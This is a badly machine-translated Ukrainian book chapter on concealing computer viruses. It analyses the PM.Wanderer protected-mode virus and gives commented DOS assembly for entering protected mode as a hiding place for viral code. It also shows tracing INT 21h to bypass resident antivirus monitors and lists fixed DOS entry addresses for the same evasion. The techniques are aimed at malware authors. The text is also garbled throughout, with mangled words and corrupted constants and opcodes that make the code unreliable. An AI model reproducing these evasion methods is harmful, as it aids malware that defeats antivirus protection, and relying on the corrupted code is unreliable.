Маскування ВІРУСІВ b> p>
У цьому розділі розказано, як
може бути захований вірус.
Описано методи конструі-
вання прямого звернення
до DOS для "обману" резіден-
вольтних антивірусних моніторинг-
рів. Розглянуто віруси,
заражає Flash BIOS. Пред-
подані вихідні тексти
програм з докладними ком-
коментарями. p>
Protected Mode - укриття для вірусу b> p>
Персональні комп'ютери з року в рік стають дедалі складніше і складність
неї, використовують все більш високі апаратні і програмні техноло-
гии. Комп'ютерні віруси теж не відстають і намагаються пристосуватися
до нових умов проживання. Так, віруси навчилися заражати загрузоч-
ные сектора дисків, файли для операційних систем DOS, Windows,
Windows 95, OS/2, Linux і навіть документи Word, Excel, і MS-Office 97.
Приховуючи свою присутність в системі, вони стали невидимками, або
стелс-вірусами. Вони навчилися бути поліморфними для того, щоб
їх розпізнавання стало ще більш важким завданням для розробників
антивірусних засобів. З появою процесорів i386 віруси стали
використовувати у своєму коді 32-розрядні інструкції. В даний вре-
мя поліморфні віруси використовують 32-розрядні розшифровують
команди у своєму декріпторе. p>
Одним словом, віруси хочуть вижити і перемогти. Для цього вони викорис-
зуются все нові можливості, як програмні, так і апаратні. Але
захищений режим роботи, що з'явився разом з процесором i286,
до недавнього часу вірусам ніяк не вдавалося "приручити". Вірніше,
були "проби пера", але реального вирішення цього завдання вони не дали. p>
Завантажувальний вірус PMBS, перший намагався освоїти захищений ре-
жим (1994 р.), не міг ужитися ні з однією програмою або драйвером
(EMM386, Windows, OS/2 ,...), які також використовували у своїй робо-
ті захищений режим. Віруси Evolution.2761 і Evolution.2770 (теж
1994 р.) використовували тільки частина потужного захищеного режиму і толь-
до в той час, коли процесор працював в реальному режимі. Дані виру-
си замінювали реальну таблицю векторів переривань на власну. p>
Але, схоже, проблема близька до розв'язання: у Росії в "дикому"
вигляді виявлений файловий вірус PM.Wanderer, який використовує захисту пра-
щенний режим. Причому він більш-менш коректно і стабільно вза-
имодействия з іншими програмами і драйверами, також використовую-
ські захищений режим. p>
PM.Wanderer є резидентним поліморфним вірусом, вико-
ющім захищений режим процесорів i386-Pentium. Для установки
своєї резидентного копії в пам'ять і перемикання в захищений ре-
жим процесора (Protected Mode) вірусом використовується документують-
ний інтерфейс VCPI (Virtual Control Program Interface) драйвера
розширеної пам'яті EMS (EMM386). p>
При старті інфікованої програми вірусний поліморфний грудня-
ріптор розшифровує основне тіло вірусу і передає йому управ-
ние. Далі основний вірусний код виділяє ділянку пам'яті у верхніх
адресах, копіює в нього власний код і передає йому керування.
Потім він відновлює код інфікованого файлу в програмному
сегменті (для ЕХЕ-файлів також робить налаштування адрес пере-
міщан елементів) і приступає до безпосереднього впровадження
в пам'ять своєї резидентного копії. . p>
У першу чергу вірус намагається вьисніть, чи встановлений у системі драй-
вер EMS. Якщо цей драйвер не встановлений або вірусна резидентна ко-
Пія вже знаходиться в пам'яті, вірус віддає управління програм-вірусів-
носію, закінчуючи тим самим свою "життєдіяльність" в системі. p>
Якщо ж "умови середовища існування" сприяють, вірус виконуємо-
ет ряд підготовчих операцій для виділення пам'яті під своє тіло
і виробляє перемикання процесора в захищений режим роботи
з найвищим рівнем привілеїв - режим супервізора. p>
У захищеному режимі вірус встановлює дві апаратні контрольні
точки на адреси входу в обробник переривання INT 21h (функції DOS)
і переходу на процедуру перезавантаження комп'ютера. Крім того, вірус
коригує дескріпторную таблицю переривань таким чином, щоб
на переривання INT 1 (особливий випадок налагодження) і INT 9 (клавіатура) ус-
тановила власні дескриптори обробників переривань. p>
Після цих приготувань вірус копіює свій код в сторінку пам'яті,
отриману ним ще до входу в захищений режим, і робить пере-
ключенних процесора назад у віртуальний режим роботи. Потім він
починає процедуру звільнення раніше виділеної пам'яті DOS
у верхніх адреси та повертає керування інфікованої програмі. p>
З цього моменту інфікована програма починає свою основну
роботу, а в захищеному режимі виявляються встановленими вірус-
ные обробники - пастки на INT 1 та переривання від клавіатури на
INT 9. З їх допомогою вірус контролює, по-перше, всі виклики фун-
кцій DOS, по-друге, всі натиснення клавіш на клавіатурі, і, по-третє,
спроби м'якого перезавантаження комп'ютера. У свою чергу, такий конт-
роль забезпечує вірусу можливість як надійно реагувати на ряд
цікавлять його подій під час роботи програми, так і постійно
перевіряти стан двох своїх контрольних точок і при необхідно-
сті відновлювати їх. p>
Зокрема, якщо вірус виявляє, що даний виклик виходить
від його "побратима", він просто повертає деякий умовне значення,
що грає роль відкликання "я - свій". Таким чином, вірус, який намагався
з'ясувати наявність своєї копії в пам'яті, буде поінформований про те,
що пам'ять вже інфікована. p>
Якщо вірус виявляє спробу отримання адреси переривання INT 6
(зазвичай такий виклик існує в усіх програмах, написаних на
мовах високого рівня, наприклад С, Pascal), то він 1 "'1тается знайти
в адресному просторі деяку послідовність байт, очевидно
що належать програмі ADinf, але якоїсь старої версії. До речі,
за інформацією розробника ADinf Дмитра Мостового, за останній
рік у версіях ADinf не міститься така послідовність. Якщо дан-
ва послідовність вірусом знайдена, він певним чином
модифікує знайдений код, щоб управління не потрапляло на виклик
межсегментной процедури, яка демонструє користувачеві знайдені
на диску або у файлах зміни. p>
Якщо ж вірус виявляє запит на запуск програми або відкриття
файлу (тільки на читання), то розуміє, що настав час "великої
полювання ". Вірус копіює свій код у старші адреси віртуального про-
процесу DOS-машини, перемикає процесор у віртуальний режим
і віддає управління свого коду (процедури зараження). p>
У віртуальному режимі вірус перевіряє останні дві букви розширенням-
ня імені файлу (ОМ або ХЕ), створює свою поліморфну копію
і заражає файли розміром більше 4095 байт. Файли, що містять
в поле значення часу створення 34 секунди, вірус не заражає, вва-
тая їх вже інфікованими. Коректування атрибутів файлів вірус
не виробляє, тому всі файли, що позначені як "тільки для чте-
ня ", заражені не будуть. Також вірус не заражає програми, ім'я ко-
торих складається з 7 букв. Імена цих програм з'ясувати не вдалося,
так як вірус не визначає їх імена явно, а підраховує CRC име-
ні. Вірус не бере на себе обробку критичних помилок, тому при
спробі запису на захищений диск в процесі зараження з'явиться
стандартне запитання DOS (... Retry, Ignore, Fail, Abort). p>
При зараженні файлів вірус використовує прямий виклик ядра обработчі-
ка DOS INT 21h. Адреса цього ядра він з'ясовує при трасуванні INT 21h
під час своєї установки в пам'ять. Вірусний код впроваджується в початок
СОМ-або в середину ЕХЕ-файла (відразу ж після заголовка). Ориг-
ний програмний код запам'ятовується в кінці файлу. Реальний p>
робочий код вірусу складає 3684 байт, але на практиці інфікований-
ные файли мають збільшення довжини більше 3940 байт. У тілі вірусу
міститься текст "WANDERER". p>
Виявити резидентну копію даного вірусу, що знаходиться в нулі-
вом кільці захищеного режиму процесора, звичайними способами не-
можливо. Для цього необхідно перемикатися в захищений режим
з найвищими привілеями і проводити його пошук. Але спробувати
виявити ознаки вірусу в системі можна і звичайними способами. p>
Після виявлення вірусу рекомендується, як і завжди в таких випад-
ях, перезавантажитися з системної дискети і виконати лікування в завідувач-
мо стерильних умовах. Щоправда, цей вірус не є Stealth-ві-
русом, і його лікування допустимо навіть при активному вірус. p>
Тепер трохи про результати тестування. При зараженні несколь-
ких тисяч файлів-жертв вірус проявив себе як "мешканець" - все зара-
женние файли виявилися працездатними. Тут треба зробити по-
правку - файли можуть виявитися непрацездатними в тому випадку,
якщо їх стек після зараження опиниться в області вірусного коду.
PM.Wanderer при зараженні файлів не коректує значення стар-
тових SS: SP в ЕХЕ-заголовку. Як вже зазначалося вище, він зберігає
здатність до відтворення тільки в тому випадку, якщо в системі уста-
новлено драйвер EMS (EMM386). При встановленому драйвері EMM386
з ключем NOEMS вірус перезавантажує комп'ютер. Перезавантаження також
можлива, якщо в системі використовується драйвер QEMM386. p>
Найцікавіше, що якщо в системі знаходився резидентний вірус,
а потім відбулася завантаження Windows 3.1 або Windows 95, то вірус не
зможе розмножуватися в цих операційних середовищах, але при виході
в DOS він знову отримує управління і може "трудитися, не покладаючи
рук ". Якщо ж вірус буде запущений в DOS-сесії Windows, то з-за
відсутності інтерфейсу VCPI вірус не зможе перейти до захисту пра-
щенний режим. При відсутності VCPI під OS/2 вірус також нежізнес-
посібників. p>
Можливо, у недалекому майбутньому комп'ютерний вірус зможе полнос-
ма замінити своїм кодом програму-супервізора і сам буде підтри-
проживати інтерфейси DPMI, EMS/VCPI, XMS, INT 15h. Хто знає. p>
Наведена нижче програма дозволяє програмісту перекласти про-
цессора в захищений режим. У цьому режимі вірус може, наприклад,
розшифрувати деякі дані. p>
Дана програма робить наступне: p>
- створює таблиці GDT і LDT, використовуючи поточні значення
CS.DS.SS p>
- забороняє всі переривання, відкриває лінію А20
для доступу до RAM> 1 Мбайт p>
- переводить процесор в захищений режим p>
- в перший символ рядка qw заносить символ L p>
- виходить в реальний режим p>
- дозволяє переривання, закриває А20-т p>
- виводить на екран рядок qw ( "Light General") p>
- вихід в DOS p>
.286 p>
. model tiny
. code
org 100h p>
Визначення для захищеного режиму роботи програми
; Структура дескриптора
desc_struc STRUC
limit dw 0
baseJ dw 0
base_h db 0
access db 0
rsrv dw 0 p>
desc_struc ENDS p>
ACC_PRESENT equ WOOOOOOb
ACC_CSEG equ OOO-MOOOb
ACC_DSEG equ 000-IOOOOb
ACC_EXPDOWN equ 000001 OOb
ACC_CONFORM equ 000001 OOb
ACC_DATAWR equ 0000001 Ob p>
DATA_ACC = ACC_PRESENT or ACC_DSEG or ACC_DATAWR
; 1001001 Ob p>
CODE_ACC = ACC_PRESENT or ACC.CSEG or ACC_CONFORM
; 10011100b p>
STACK_ACC = ACC_PRESENT or ACC_DSEG or ACC_DATAWR or
ACC.EXPDOWN; 1001011 Ob p>
; Розміри сегментів (реальні розміри на одиницю більше)
CSEG SIZE = 65535 p>
DSEG_SIZE = 65535
STACK_SIZE = 65535 p>
[Зсув використовуваних дескрипторів
CS_DESCR = (gdt_cs-gdt_0)
DS_DESCR = (gdt_ds-gdt_0)
SS_DESCR = (gdt_ss-gdt_0) p>
; Константи значень портів?
CMOS_PORT equ 70h
STATUS_PORT equ 64h
SHUTDOWN equ OFEh
A20_PORT equ OD1h
A20_ON equ ODFh
A20_OFF equ ODDh
INT_MASK_PORT equ 21 h
KBD_PORT_A equ 60h
start: p>
. Ініціалізіруем необхідні дані для переходу
; в захищений режим p>
call init_protected_mode p>
[Переходимо в захищений режим
call set_protected_mode p>
; Тепер комп'ютер працює в захищеному режимі!
; Так як таблиця переривань реального режиму не може бути p>
використана в захищеному, переривання заборонені!
; Саме тут можна вставити інструкції, потрібні вірусу
. Повертаємося до реального режиму
call set_real_mode p>
[Друкуємо повідомлення "Light General"
mov ah, 09h
lea dx.qw
int 21 h p>
; Виходимо в DOS
mov ax, 4COOh
int 21 h p>
[Макрокоманда для встановлення адреси для дескриптора
; в глобальній таблиці дескрипторів GDT.
; На вході регістри DLAX повинні містити
. Абсолютний адреса сегмента
setgdtentry MACRO p>
mov [desc_struc.base_l] [bx], ax p>
mov [desc_struc.base_h] [bx], dl
ENDM p>
• < p>
; Процедура ініціалізації необхідних даних
. для переходу в захищений режим
init_protected_mode PROC p>
обчислюємо абсолютний адреса для сегменту даних
; у відповідності зі значенням регістра DS p>
mov ax.ds p>
mov dl.ah p>
shr dl, 4 p>
shi ax, 4 p>
; Встановлюємо адресу сегменту даних
; в глобальній таблиці дескрипторів p>
mov bx, offset gdt_ds p>
setgdtentry p>
; Обчислюємо абсолютний адреса для сегменту GDT: додаємо
; до вже вирахуваній абсолютному адресою сегменту даних
; зміщення у ньому таблиці дескрипторів p>
add ax, offset gdtr p>
adc dl.0 p>
Зупиняємо адресу сегменту GDT
; в глобальній таблиці дескрипторів p>
mov bx.offset gdt_gdt p>
setgdtentry p>
; Обчислюємо абсолютний адреса для сегменту коду
; у відповідності зі значенням регістра CS p>
mov ax, cs p>
mov dl.ah p>
shr dl, 4 p>
shi ax, 4 p>
. Встановлюємо адресу сегменту коду
; в глобальній таблиці дескрипторів p>
mov bx, offset gdt_cs p>
setgdtentry p>
[Обчислюємо абсолютний адреса для сегменту стека
; у відповідності зі значенням регістра SS p>
mov ax.ss p>
mov dl.ah p>
shr dl, 4 p>
shi ax, 4 p>
Зупиняємо адресу сегменту стека
; в глобальній таблиці дескрипторів p>
mov bx, offset gdt_ss p>
setgdtentry p>
перехоплюємо рестарт. Так як процесор i286 (а ця програма
[розрахована саме на такий процесор) не має можливості
; повернення в реальний режим із захищеного, повернення в реальний
режим будемо проводити наступним чином: перехопимо рестарт,
. згенеруємо CPU Reset, після якого отримаємо управління, коли
Процесор буде знаходиться вже в реальному режимі. На процесорі
; i386 повернення до реального режиму відбувається
[значно простіше і "природніше". p>
push ds p>
mov ax, 40h p>
mov ds, ax p>
mov word ptr ds: [0067h], offset shutdown_return p>
mov word ptr ds: [0069h], cs p>
pop ds p>
[Забороняємо маскіруемие переривання
cli p>
in al, INT_MASK_PORT
or al.OFFh
out INT_MASK_PORT, al p>
[Забороняємо немаскіруемие переривання. Дана послідовність
; команд не забороняє "незапрещаемие" переривання в процесорі
[(цього зробити за визначенням не можна), а "не пускає" сигнал p>
[немаскіруемого переривання до процесора p>
mov al, 8Fh p>
out CMOS_PORT, al p>
jmp $ 2 p>
mov al, 5 p>
out CMOS_PORT 1, al p>
ret
init_protected_mode ENDP p>
[Підпрограма, переводить процесор в захищений режим
set_protected_mode PROC p>
. Відкриваємо адресну лінію А20 для доступу понад 1Мбайт.
; При закритій лінії адресний простір
[ "зациклюється" в межах 1Мбайт
call enable_a20 p>
. Зберігаємо значення регістра SS для реального режиму
mov real_ss, ss p>
[Перекладаємо компілятор Turbo Assembler в покращений режим.
[IDEAL - це не команда і не оператор, це директива, що впливає
[тільки на інтерпретацію подальших рядків лістингу p>
ideal p>
р286 p>
[Завантажуємо регістр глобальної таблиці дескрипторів GDTR
Igdt [QWORD gdt_gdt]; db OFh, 01h, 16h dw offset gdt_gdt p>
[Перекладаємо процесор у захищений режим
mov ax, 0001h
Imsw ax; db OFh, 01h, FOh p>
[Перекладаємо компілятор Turbo Assembler тому в режим MASM
masm
.286 p>
[Виробляємо довгий перехід для того,
. щоб очистити внутрішню чергу
. команд процесора p>
jmp far flush p>
db OEAh p>
dw offset flush p>
dw CS_DESCR
flush: p>
Зупиняємо в регістр SS селектор сегмента стека
mov ax, SS_DESCR
mov ss.ax p>
; Встановлюємо в регістр DS селектор сегменту даних
mov ax, DS_DESCR
mov ds.ax p>
. Записуємо в рядок qw символ "L" і виходимо з підпрограми p>
mov byte ptr ds: [off set qw 2], "L" p>
ret
set_protected_mode ENDP p>
Підпрограма, яка повертає процесор до реального режиму
set_real_mode PROC p>
[Зберігаємо значення регістра SP для реального режиму
mov real_sp, sp p>
. Виконуємо CPU Reset (рестарт процесора)
mov al, SHUT_DOWN
out STATUS_PORT, al p>
; Чекаємо, поки процесор перезапуститься
wait_reset: p>
hit p>
jmp wait_reset p>
; C цього місця програма виконується після перезапуску процесора
shutdown_return: p>
; Встановлюємо регістр DS відповідно до регістром CS
push cs
pop ds p>
відновлюємо покажчики на стек
; за раніше збережених значень p>
mov ss, real_ss p>
mov sp, real_sp p>
[Закриваємо адресну лінію А20
call disable_a20 p>
. дозволяємо немаскіруемие переривання
mov ax.OOOdh
out CMOS_PORT, al p>
[дозволяємо маскіруемие переривання p>
in al, INT-MASK_PORT p>
and al, 0 p>
out INT_MASK_PORT, al p>
sti p>
ret
set_real_mode EN DP p>
[Процедура, що відкриває адресну лінію А20. Після відкриття p>
[адресної лінії програмами буде доступна пам'ять понад 1Мбайт
enable_a20 PROC p>
mov al, A20_PORT p>
out STATUS_PORT, al p>
mov al, A20_ON p>
out KBD_PORT_A.al p>
ret
enable_a20 ENDP p>
[Процедура, що закриває адресну лінію А20. Після закриття
[адресної лінії програмами буде недоступна пам'ять понад 1Мбайт.
[Адресний простір буде "зацикленим" в межах 1Мбайт
disable_a20 PROC p>
mov al.A20_PORT p>
out STATUS_PORT, al p>
mov al, A20_OFF p>
out KBD_PORT_A, al p>
ret
disable_a20 ENDP p>
[Тут зберігається адреса стека
real_sp dw?
real_ss dw? p>
[Цей рядок виводиться на екран після роботи програми
[Символ "?" замінюється на "L" в захищеному режимі p>
qw db 13,10, "? ight General", 13,10, "$" p>
; Глобальная таблиця дескрипторів. Нульовий дескриптор p>
обов'язково повинен бути "порожнім" p>
GDT_BEG = $ p>
gdtr label WORD p>
gdt_0 desc_struc p>
gdt_gdt desc_struc p>
gdt_ds desc_struc p>
gdt_cs desc_struc p>
gdt_ss desc_struc p>
GDT_SIZE = ($-GDT_BEG) p>
END start p>
Обхід резидентних антивірусних моніторів b> p>
Зазвичай всі програми використовують сервіс DOS так: p>
mov ah ,...< br> int 21 h p>
За командою INT управління передається в точку, адреса якої визначаються-
ється двома словами, що знаходяться в таблиці векторів переривань
за адресою 0000h: 0084h. З цього моменту починається виконання команд
численних обробників переривання INT 21h і не менш многочіс-
лених резидентних програм до тих пір, поки управління, нарешті,
не отримає оригінальний обробник операційної системи (рис. 5.1.): p>
p>
Зрозуміло, серед цих численних обробників може "затесатися"
обробник, що належить антивірусний монітор, який не дає
спокійно працювати не тільки вірусам, але і звичайним програмами. p>
Тому серйозні віруси і деякі добре написані програми
намагаються визначити адресу оригінальному обробника і звернутися
до нього прямо, в обхід інших обробників: p>
mov ah ,...< br> pushf p>
call dword ptr 021 p>
021 dw? p>
S21 dw? p>
Але антивірусні монітори враховують цю можливість і беруть
свої заходи. p>
Визначення адреси оригінальному обробника DOS b> p>
Для того щоб звернутися до DOS безпосередньо, потрібно знати адресу ориг-
нального обробника. Отримати цю адресу не так просто. p>
Метод трасування b> p>
Найчастіше використовується метод трасування за допомогою налагоджувальному
переривання INT 1. Суть методу полягає в тому, що вірус трасують-
ет переривання INT 21h (включає прапор трасування, при цьому після
кожної команди відбувається переривання INT 1) і перевіряє значення
сегмента, в якому йде обробка переривання. Якщо значення сегм-
та менше ОЗООЬ, то це обробник DOS. Наприклад, так робив мно-
го років тому вірус Yankee 2C (М2С, Музичний). Ось лістинг соот-
відповідне фрагменту з коментарями: p>
; Беремо з таблиці векторів переривань поточну адресу INT 01 h
mov ax, 3501 h
int 21h p>
mov si.bx; зсув зберігаємо в регістрі SI
mov di.es; сегмент зберігаємо в регістрі DI p>
Зупиняємо свій оброблювач INT 01h
mov ax, 2501h
mov dx, offset lnt01
int 21h p>
; Формуємо в стеку адресу виходу з трасування так, щоб по IRET
; з INT 21h потрапити на мітку Next - поміщаємо в стек
. послідовно прапори, сегмент і зсув мітки Next p>
pushf p>
push cs p>
mov ax, offset Next p>
push ax p>
; Починаємо трасування INT 21 h. Для цього потрібно підготувати стек
; наступним чином: помістити в нього прапори з увімкненим прапором
; трасування, а також сегмент і зсув поточного обробника
; INT 21 h. Потім можна виконати команду IRET - програма запустить
. поточний обробник і вважає з стека прапори (прапор трасування
; під флагової регістрі включиться, почнеться трасування. Після
. кожної команди процесора буде запускатися INT 01 h).
; Поміщаємо в стек прапори, включаємо до них біт, відповідний
; прапора трасування TF. Для того, щоб включити прапор
. Трасування TF, після збереження прапорів у стеку вважаємо їх
; в регістр АХ, в ньому включимо відповідний біт, а потім
. збережемо регістр АХ в стеку p>
pushf p>
pop ax p>
or ax, 0100h p>
push ax p>
; Вважаємо з таблиці векторів переривань поточну адресу INT 21 h
mov ax, 3521 h
int 21 h p>
[Збережемо в стеку сегмент, а потім і зсув поточного обробника
push es
push bx p>
[Встановимо в регістрі АН номер будь-якої необразливої функції
; (щоб визначення адреси обробника DOS
; не супроводжувалось руйнуваннями)
mov ah.OBh p>
. Запускаємо трасування
cli
iret p>
[Оброблювач INT 01 h
lnt01: p>
; Коли Ви робите обробника в стеку знаходяться: значення регістра IP,
; значення регістра CS, прапори перед перериванням.
[Адресуємося до стека за допомогою регістра ВР, p>
[Попередньо зберігши поточне значення ВР
push bp
mov bp.sp p>
; Тепер в стеку знаходяться: p>
; SS: [BP] - ВР
; SS: [BP +2] - IP
; SS: [BP 4] - CS
; SS: [BP +6] - прапори
; Перевіряємо прапор продовження
cmp byte ptr cs: ContinueFlag, 1 p>
; Якщо прапор продовження вимкнено, то виходимо з трасування
jne TraceOff p>
[Перевіряємо поточну адресу. Якщо сегмент менше 300h,
обробник DOS досягнуто, інакше - продовжуємо трасування
; і виходимо з обробника p>
cmp word ptr [bp +4], 300h p>
jnc ExitFromInt p>
[Досягнуто DOS - беремо з стека адреса обробника і зберігаємо його
push bx p>
mov bx, [bp +2]
mov word ptr cs: 021, bx
mov bx, [bp +4]
mov word ptr cs: S21, bx
pop bx p>
. Закінчуємо обробку переривання і подальшу трасування
TraceOff: p>
[Встановлюємо в нуль біт, відповідний TF,
; в копії регістра прапорів у стеку
and word ptr [bp +6], OFEFFh p>
[Встановлюємо в нуль прапор продовження p>
mov byte ptr cs: ContinueFlag, 0
ExitFromInt: p>
pop bp p>
. Виходимо з обробника
i ret p>
[Відновлення після трасування
Next: p>
[скидаємо прапор продовження
mov byte ptr ds: ContinueFlag, 0 p>
[Відновлюємо колишнє значення вектора переривання INT 01 h
mov ax, 2501 h
mov dx.si
mov ds.di
int 21 h p>
В даний час цей алгоритм можна вважати кілька заста-
шим. Справа в тому, що сучасні версії DOS можуть розміщувати свій
обробник в областях верхньої пам'яті. Тому умова закінчення
трасування має виглядати, наприклад, так: p>
cmp word ptr [bp +4], 300h
jb loc_65 p>
cmp word ptr [bp +4], OFOOOh
ja loc_65 p>
В якості альтернативного варіанту можна використовувати такий прийом.
Спочатку визначається вихідний сегмент DOS за допомогою недокумен-
тірованной функції 52h переривання INT 21h (повертає адресу століття-
битим таблиці зв'язку DOS): p>
mov ah, 52h p>
int 21h p>
mov SegDOS, es p>
Тоді умова завершення трасування можна оформити
наступним чином: p>
push ax p>
mov ax, cs: SegDOS p>
cmp word ptr [bp +6], ax p>
pop ax p>
jz DOSIsGot p>
Зрозуміло, різні прийоми можуть дати різні результати. Причому всі
результати можна вважати в тій чи іншій мірі коректними. Справа
в тому, що сучасні версії DOS, навіть будучи завантаженими в верх-
нюю пам'ять, завжди мають точку входу в нижній пам'яті виду: p>
пір
пір p>
[Перевірка стану адресної лінії А20
call Check_A20 p>
[Перехід у верхню пам'ять
jmp cs: dword ptr HI_DOS p>
З точки зору обходу резидентних моніторів "правильним" слід
визнати адреса в обробнику DOS, що має максимальне значення.
Ми ще повернемося до питання про знаходження "правильного" адреси далі. p>
Автори антивірусних моніторів знають про подібний прийомі пошуку ори-
гінального адреси DOS. Досить легко зіпсує трасування, на-
приклад, ось такий ось фрагмент, вбудований в ланцюжок обробників: p>
. Викликаємо обробник переривання INT 60h (до цього моменту
[Переривання INT 60h повинно бути перехоплено)
int 60h p>
; Сюди потрібно повернутися з переривання
пір p>
[Сюди реально повернемося, і прапор трасування буде скинуто,
; тобто трасування буде припинено
пір p>
[Оброблювач переривання. Коли Ви робите переривання прапор трасування
. Скидається - при вході в обробник трасування буде вимкнено
lnt60: p>
[Дозвіл переривань, тому що при виході з обробника НЕ
[буде відновлюватися оригінальне значення регістра прапорів p>
sti p>
[Збільшуємо на одиницю адреса повернення в стеку
push bp
mov bp, sp
add [bp +2], 1
pop bp p>
[Виходимо з переривання, але не командою IRET, а командою RETF 2,
. щоб не відновлювати прапори (і, як наслідок, p>
. прапор трасування TF)
retf 2 p>
Крім того, факт трасування можна досить просто виявити,
застосувавши добре відомий розробникам захистів від несанкціонований-
ного копіювання прийом апаратного конвеєра, який використовує
процесор для прискорення роботи. При виконанні чергової команди
процесор зчитує код наступної. Коли прийде час виконання
наступної команди, вона буде вже зчитана з пам'яті, і не потрібно бу-
дет витрачати час на її читання. Прийом полягає в модифікації ко-
Манділ, які вже опинилися в конвеєрі: якщо трасування не ведеться,
то код команд модифікується тільки в пам'яті, а виконується та про-
грама, яка знаходиться в конвеєрі. Якщо трасування ведеться, то
конвеєр скидається перед кожною командою трасуванню програм-
ми (конвеєр скидають такі команди, як JMP, CALL, RET) і ви-
виконується модифікований код. p>
Кодіфіціруем наступну команду. Команда JMP (безумовний
; перехід) замінюється на дві команди NOP (немає операції)
mov Metka, 9090h p>
Переходимо, якщо виконується не модифікований код (у випадку,
; коли трасування не ведеться), і проходимо далі, якщо виконується
кодифікований код (у разі трасування)
Metka: jmp NoTrace
Trace: p>
; Сюди потрапимо при виявленні факту трасування
NoTrace: p>
Трасування не ведеться - нормальне виконання програми p>
Нарешті, останній цвях у труну ідеї використання трасування за-
біт: "Виставлений прапор трасування можна виявити побічно, замас-
кіровав апаратні переривання, помістивши в [SP-1] контрольне значен-
ня і дав інструкцію STI. Тоді по зміні слова в стеку можна
судити, було трассіровочное переривання чи ні ". p>
Виявивши факт трасування переривання DOS, монітори починають видав-
вать про це відповідні повідомлення, тому навіть не самий
досвідчений користувач здогадається, що хтось (наприклад, вірус) катує-
ся потрапити в систему. p>
Метод предопределенньш адрес b> p>
Переходимо до методу визначення оригінальному адреси точки входу
в DOS, заснованому на тому, що ці адреси для різних версій і конфі-
гурацій DOS мають у загальному випадку різні значення, але число
їх обмежена. А це означає, що їх можна просто-напросто вибирати
з таблиці (причому не дуже великий). Прийом не новий, але незаслу-
женно забутий. p>
Маючи програму, засновану на одному з раніше описаних способів
визначення реальної адреси обробника DOS, завантажувальні дискети
з різними версіями DOS і трохи терпіння, можна отримати при-
мірно ось таку інформацію. p>
Оригінальний обробник DOS версії 3.30 завжди має вигляд: p>
. Точка Про
2Е CS: p>
891ЕВ800 MOV [ООВ8], ВХ
2Е CS: p>
8С06ВАОО MOV [OOBA], ES
СВ RETF p>
. Точка 1
2Е CS: p>
3A26FFOD СМР AH, [ODFF]
77DC JA 1443
80FC51 СМР АН, 51
74А1 JZ 140D p>
80FC64 СМР АН, 64
74ВА JZ 143A
; Точка 2 p>
Оригінальні обробники DOS версій 5.0-7.0 дуже схожі.
У загальному випадку вони складаються з таких фрагментів: p>
Фрагмент 1 (якщо він присутній) завжди розташовується в нижніх ад-
ресах пам'яті. Більшість алгоритмів трасування закінчують робо-
ту, досягши цієї точки. Для DOS версій 5.0-6.22 цей фрагмент при-
сутствуєт, якщо в CONFIG.SYS є рядок DOS = HIGH (поза
залежно від того, чи здійснюється запуск що підтримує цю
опцію драйвера HIMEM.SYS). Якщо драйвера немає, то JMP FAR просто p>
вказує на фрагмент 2, розміщуються в нижніх областях пам'яті.
Якщо рядка DOS = HIGH немає, то фрагмент 1 виродилися (складається з од-
ної команди внутрісегментного переходу), і обробник складається
з фрагменту 2. p>
; Точка Про p>
90 МОР p>
90 NOP p>
E8CCOO CALL CheckA20 p>
2E CS: p>
FF2E6A10J MP FAR NEXTDOS p>
Фрагмент 2 може розташовуватися як у верхніх, так і в нижніх адре-
сах пам'яті. p>
; Точка 1
NEXTDOS: p>
FA CLI
80FC6C СМР АН.6С
77D2 JA 40DO p>
80FC50 СМР АН.50
748Е JZ 40A9
; Точка 2 p>
Для DOS 7.0 структура обробника, загалом, така ж. Виняток -
фрагмент 1 присутня завжди, незалежно від вмісту фай-
ла CONFIG.SYS. Тепер наведемо конкретні значення адрес, напів-
ченние для різних випадків: p>
DOS 7.0 (російська версія) b> p>
Точка Про OOC9: OFB2 9090
Точка 1 FF03: 41E7 80FA
Точка 2 FF03: 420A 1E06
Точка 2А FF03: 5333 2ACD p>
DOS 6.20 b> p>
device = himem. sys
dos = high b> p>
Точка Про 0123:109 Е 9090
Точка 1 FDC8: 40F8 80FA
Точка 2 FDC8: 411B1E06
Точка 2А FDC8: 41D12ACD p>
DOS b> 6.20
dos = high p>
Точка Про 0123:109 Е ОЗЕВ
Точка 1 03AC: 40F8 80FA
Точка 2 ОЗАС: 411В 1Е06
Точка 2А 03AC: 41D1 2ACD p>
DOS 6.20 b> p>
Точка 1 002A: 40F8 SOFA
Точка 2 002А: 411В 1Е06
Точка 2А 002A: 41D1 2ACD p>
DOS 5.0 b> p>
device = himem. sys
dos = high b> p>
Точка Про 0123:109 Е 9090
Точка 1 FDC8: 40EB80FA
Точка 2 FDC8: 410E 1Е06
Точка 2А FDC8: 41C42ACD p>
DOS 5.0 b> p>
dos = high p>
Точка Про 0123:109 Е ОЗЕВ
Точка 1 03AC: 40F8 80FA
Точка 2 ОЗАС: 411В 1Е06
Точка 2А 03AC: 41D1 2ACD p>
DOS b> 5.0 p>
Точка 1 002А: 40ЕВ 80FA
Точка 2 002А: 410Е 1Е06
Точка 2А 002A: 41D1 2ACD p>
DOS 3.30 b> p>
Точка Про 0070:05 DC 892E
Точка 1 0294:1460 ЗА2Е
Точка 2 0294:1480
Точка 2А 0294:151 У 2ACD p>
DOS 3.10 b> p>
Точка Про 0070: OD43 p>
DOS 3.20 b> p>
Точка 0 0070:17 DO p>
Точка 2 є оптимальною, тобто в неї найдоцільніше пере-
давати управління, щоб обійти резидентні антивірусні монітори.
Точка 2А - це позиція інструкції INT 2Ah, яку DOS обов'язковий-
але виконує в процесі обробки 21-го переривання. p>
Наприкінці кожного рядка наведено контрольні слова - на той випадок,
якщо за вказаною адресою знаходиться дещо інше. p>
Боротьба з антивірусними моніторами b> p>
Сучасні антивірусні монітори вміють відстежувати факт прямо-
го звернення програм до DOS. p>
Захист 21-го переривання можна організувати більш ефективно, ис-
користуючись методами вбудовування в ядро операційної системи. Загальноприйнятий-
тая схема така: в точку входу переривання INT 21h записується інстр-
рукція JMP FAR на обробник, який перевіряє номер функції на
безпеку. Він відновлює оригінальні інструкції в точці входити-
та переривання і викликає обробник INT 21h. Після повернення управ-
ня з переривання, в точку входу знову записується інструкція JMP
FAR, і управління передається програмі, що викликала INT 21h. p>
Тут описаний звичайний "сплайсинг" (вбудовування), який широко застосовується
розробниками вірусів. Відзначимо, що для переходу не
обов'язково використовувати інструкцію JMP FAR (вона займає 5 байт
в пам'яті і не скрізь може бути розміщена). Замість неї можна примі-
нитка INT 3, витративши всього 1 байт. У той же час необхідно забез-
